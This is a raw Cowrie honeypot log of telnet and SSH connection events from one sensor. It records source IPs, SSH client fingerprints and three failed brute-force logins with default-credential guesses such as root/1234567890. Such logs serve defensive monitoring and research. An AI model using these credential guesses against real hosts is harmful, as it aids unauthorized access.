{"eventid":"cowrie.session.closed","duration":31.672354698181152,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:13.519703Z","src_ip":"213.136.75.179","session":"0e176c3036f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.407623052597046,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:13.645360Z","src_ip":"5.189.178.126","session":"f3405fcfc148","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.117.234.131","src_port":49660,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6a774b7a2c0","protocol":"telnet","message":"New connection: 155.117.234.131:49660 (10.17.0.5:23) [session: f6a774b7a2c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:13.777913Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":33984,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec975f40382f","protocol":"telnet","message":"New connection: 213.136.75.179:33984 (10.17.0.5:23) [session: ec975f40382f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:14.202203Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":51862,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f6185416ca3","protocol":"telnet","message":"New connection: 159.223.86.167:51862 (159.203.135.109:23) [session: 3f6185416ca3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:14.429519Z"}
{"eventid":"cowrie.session.closed","duration":30.839200496673584,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:14.723590Z","src_ip":"213.136.75.179","session":"4bbba154d0ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.541762351989746,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:15.418445Z","src_ip":"159.223.86.167","session":"88d44f558e2f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":55898,"dst_ip":"159.203.135.109","dst_port":23,"session":"b0f1f67ac6a5","protocol":"telnet","message":"New connection: 159.223.86.167:55898 (159.203.135.109:23) [session: b0f1f67ac6a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:15.461361Z"}
{"eventid":"cowrie.session.closed","duration":34.34093952178955,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:15.829589Z","src_ip":"213.136.75.179","session":"630bcdb78848","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":34038,"dst_ip":"10.17.0.5","dst_port":23,"session":"b51566a546eb","protocol":"telnet","message":"New connection: 213.136.75.179:34038 (10.17.0.5:23) [session: b51566a546eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:16.061820Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":43070,"dst_ip":"10.17.0.5","dst_port":22,"session":"5573681196ad","protocol":"ssh","message":"New connection: 176.65.139.103:43070 (10.17.0.5:22) [session: 5573681196ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:16.072717Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:16.080173Z","src_ip":"176.65.139.103","session":"5573681196ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":34042,"dst_ip":"10.17.0.5","dst_port":23,"session":"11e3af973f68","protocol":"telnet","message":"New connection: 213.136.75.179:34042 (10.17.0.5:23) [session: 11e3af973f68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:16.164973Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:16.169892Z","src_ip":"176.65.139.103","session":"5573681196ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":34052,"dst_ip":"10.17.0.5","dst_port":23,"session":"b009a829be76","protocol":"telnet","message":"New connection: 213.136.75.179:34052 (10.17.0.5:23) [session: b009a829be76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:16.328736Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":34066,"dst_ip":"10.17.0.5","dst_port":23,"session":"5eba1660f7f0","protocol":"telnet","message":"New connection: 213.136.75.179:34066 (10.17.0.5:23) [session: 5eba1660f7f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:16.340865Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":34082,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1ad1ebb5da3","protocol":"telnet","message":"New connection: 213.136.75.179:34082 (10.17.0.5:23) [session: d1ad1ebb5da3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:16.422437Z"}
{"eventid":"cowrie.login.failed","username":"gbase","password":"gbase","message":"login attempt [gbase/gbase] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:16.446142Z","src_ip":"176.65.139.103","session":"5573681196ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":57692,"dst_ip":"159.203.135.109","dst_port":23,"session":"a49ae123a99e","protocol":"telnet","message":"New connection: 159.223.86.167:57692 (159.203.135.109:23) [session: a49ae123a99e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:16.910308Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":35726,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4e1852b960a","protocol":"telnet","message":"New connection: 159.223.86.167:35726 (159.203.135.109:23) [session: a4e1852b960a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:17.294176Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.178.126","src_port":43416,"dst_ip":"10.17.0.5","dst_port":23,"session":"30d4c21c2ca1","protocol":"telnet","message":"New connection: 5.189.178.126:43416 (10.17.0.5:23) [session: 30d4c21c2ca1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:17.459272Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:17.549702Z","src_ip":"176.65.139.103","session":"5573681196ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":37458,"dst_ip":"159.203.135.109","dst_port":23,"session":"c83584605406","protocol":"telnet","message":"New connection: 159.223.86.167:37458 (159.203.135.109:23) [session: c83584605406]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:17.760440Z"}
{"eventid":"cowrie.session.closed","duration":30.603026151657104,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:18.072307Z","src_ip":"155.117.234.131","session":"47cd4dbb3b57","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":38758,"dst_ip":"159.203.135.109","dst_port":23,"session":"e7253df727e3","protocol":"telnet","message":"New connection: 159.223.86.167:38758 (159.203.135.109:23) [session: e7253df727e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:18.078100Z"}
{"eventid":"cowrie.session.closed","duration":31.964900016784668,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:19.882222Z","src_ip":"159.223.86.167","session":"a63d8dd3d8c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":46442,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec605deae63b","protocol":"telnet","message":"New connection: 213.136.75.179:46442 (10.17.0.5:23) [session: ec605deae63b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:19.959373Z"}
{"eventid":"cowrie.session.closed","duration":36.67746543884277,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:20.161738Z","src_ip":"23.254.167.244","session":"6989b97d50d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.218379735946655,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:20.737448Z","src_ip":"213.136.75.179","session":"637da4de55ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":46456,"dst_ip":"10.17.0.5","dst_port":23,"session":"66b88aaff827","protocol":"telnet","message":"New connection: 213.136.75.179:46456 (10.17.0.5:23) [session: 66b88aaff827]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:21.333166Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":46460,"dst_ip":"10.17.0.5","dst_port":23,"session":"5800b1f8b2f0","protocol":"telnet","message":"New connection: 213.136.75.179:46460 (10.17.0.5:23) [session: 5800b1f8b2f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:21.489488Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":53384,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4f574219655","protocol":"telnet","message":"New connection: 159.223.86.167:53384 (159.203.135.109:23) [session: f4f574219655]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:21.512209Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":54774,"dst_ip":"159.203.135.109","dst_port":23,"session":"a7b285ffd467","protocol":"telnet","message":"New connection: 159.223.86.167:54774 (159.203.135.109:23) [session: a7b285ffd467]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:21.824890Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.178.126","src_port":59660,"dst_ip":"10.17.0.5","dst_port":23,"session":"80db916cc3fe","protocol":"telnet","message":"New connection: 5.189.178.126:59660 (10.17.0.5:23) [session: 80db916cc3fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:22.246720Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":56750,"dst_ip":"159.203.135.109","dst_port":23,"session":"83f265de6f75","protocol":"telnet","message":"New connection: 159.223.86.167:56750 (159.203.135.109:23) [session: 83f265de6f75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:22.321723Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":46466,"dst_ip":"10.17.0.5","dst_port":23,"session":"67f8bf82c55b","protocol":"telnet","message":"New connection: 213.136.75.179:46466 (10.17.0.5:23) [session: 67f8bf82c55b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:22.329062Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":46468,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ef7be78e8a7","protocol":"telnet","message":"New connection: 213.136.75.179:46468 (10.17.0.5:23) [session: 7ef7be78e8a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:22.462225Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45644,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa18e6539118","protocol":"ssh","message":"New connection: 159.203.92.129:45644 (159.203.135.109:22) [session: fa18e6539118]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:22.731655Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:22.735571Z","src_ip":"159.203.92.129","session":"fa18e6539118","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:22.739264Z","src_ip":"159.203.92.129","session":"fa18e6539118","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anon","password":"anon","message":"login attempt [anon/anon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:22.751307Z","src_ip":"159.203.92.129","session":"fa18e6539118","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":46480,"dst_ip":"10.17.0.5","dst_port":23,"session":"7bc3910ee820","protocol":"telnet","message":"New connection: 213.136.75.179:46480 (10.17.0.5:23) [session: 7bc3910ee820]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:22.854209Z"}
{"eventid":"cowrie.session.closed","duration":34.454182863235474,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:22.927516Z","src_ip":"213.136.75.179","session":"ed2e9668789e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":43084,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a19fad180f6","protocol":"ssh","message":"New connection: 176.65.139.103:43084 (10.17.0.5:22) [session: 8a19fad180f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:22.931445Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:22.937109Z","src_ip":"176.65.139.103","session":"8a19fad180f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:23.018575Z","src_ip":"176.65.139.103","session":"8a19fad180f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567890","message":"login attempt [root/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:23.265170Z","src_ip":"176.65.139.103","session":"8a19fad180f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:23.759680Z","src_ip":"159.203.92.129","session":"fa18e6539118","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.65708041191101,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:24.304761Z","src_ip":"213.136.75.179","session":"bb1f0c5e942e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":37170,"dst_ip":"159.203.135.109","dst_port":23,"session":"546fcf51ffa4","protocol":"telnet","message":"New connection: 159.223.86.167:37170 (159.203.135.109:23) [session: 546fcf51ffa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:24.315853Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:24.349909Z","src_ip":"176.65.139.103","session":"8a19fad180f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":37574,"dst_ip":"159.203.135.109","dst_port":23,"session":"16835c7a5316","protocol":"telnet","message":"New connection: 159.223.86.167:37574 (159.203.135.109:23) [session: 16835c7a5316]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:24.461786Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":43916,"dst_ip":"10.17.0.5","dst_port":23,"session":"adcec0246b21","protocol":"telnet","message":"New connection: 213.136.75.179:43916 (10.17.0.5:23) [session: adcec0246b21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:27.611889Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":43932,"dst_ip":"10.17.0.5","dst_port":23,"session":"0845555a0b88","protocol":"telnet","message":"New connection: 213.136.75.179:43932 (10.17.0.5:23) [session: 0845555a0b88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:27.855234Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":53214,"dst_ip":"159.203.135.109","dst_port":23,"session":"bafb672c8de9","protocol":"telnet","message":"New connection: 159.223.86.167:53214 (159.203.135.109:23) [session: bafb672c8de9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:27.927346Z"}
{"eventid":"cowrie.session.closed","duration":31.210991621017456,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:28.008992Z","src_ip":"213.136.75.179","session":"c15856e7ca02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.83784055709839,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:28.107363Z","src_ip":"185.26.126.47","session":"efd327d796d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.015451192855835,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:28.253821Z","src_ip":"159.223.86.167","session":"59a476d80125","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.53543734550476,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:28.358903Z","src_ip":"159.223.86.167","session":"92409c40031b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.928754568099976,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:28.386987Z","src_ip":"159.223.86.167","session":"fd9b44ee20d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.117.234.131","src_port":60554,"dst_ip":"10.17.0.5","dst_port":23,"session":"e180639396af","protocol":"telnet","message":"New connection: 155.117.234.131:60554 (10.17.0.5:23) [session: e180639396af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:29.677244Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":60726,"dst_ip":"159.203.135.109","dst_port":23,"session":"97426f30d33b","protocol":"telnet","message":"New connection: 159.223.86.167:60726 (159.203.135.109:23) [session: 97426f30d33b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:29.708168Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":33684,"dst_ip":"10.17.0.5","dst_port":22,"session":"80e816a0efdb","protocol":"ssh","message":"New connection: 176.65.139.103:33684 (10.17.0.5:22) [session: 80e816a0efdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:29.822017Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:29.827148Z","src_ip":"176.65.139.103","session":"80e816a0efdb","protocol":"ssh"}
